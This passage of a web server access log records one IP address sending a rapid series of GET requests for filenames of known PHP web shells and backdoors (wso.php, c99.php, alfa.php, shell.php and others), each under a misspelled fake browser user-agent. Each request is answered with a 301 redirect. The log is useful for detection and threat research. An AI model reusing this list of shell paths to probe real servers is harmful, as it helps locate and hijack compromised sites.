7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:53:38 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:53:42 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:53:46 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:53:49 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:53:52 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:53:55 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:53:59 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:54:04 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:54:08 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:54:13 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:54:16 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:54:20 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:54:23 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:54:27 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:54:32 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:54:35 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:54:40 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:54:46 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:54:51 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:54:54 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:54:58 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:55:02 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:55:09 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:55:17 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:55:21 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:55:26 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:55:28 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:55:32 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:55:34 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:55:37 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:55:40 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:55:42 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:55:45 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:55:47 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:55:51 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:55:53 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:55:57 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:56:02 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:56:06 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:56:10 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:56:15 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:56:20 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:56:26 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:56:30 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:56:33 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:56:37 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:56:41 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:56:44 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:56:49 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:56:54 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:56:59 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:57:03 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:57:08 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:57:11 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:57:16 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:57:21 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:57:26 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:57:29 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:57:33 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:57:37 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:57:42 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:57:45 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:57:49 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:57:52 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:57:56 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:58:00 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:58:04 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:58:08 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:58:12 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:58:19 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:58:23 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:58:29 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:58:38 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:58:44 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:58:51 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:58:56 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:59:00 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:59:03 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:59:07 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:59:10 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:59:13 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:59:17 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:59:23 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:59:28 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:59:31 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:59:34 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:59:38 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:59:43 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:59:49 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:59:54 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:59:57 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:00 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:03 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:06 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:09 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:14 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" 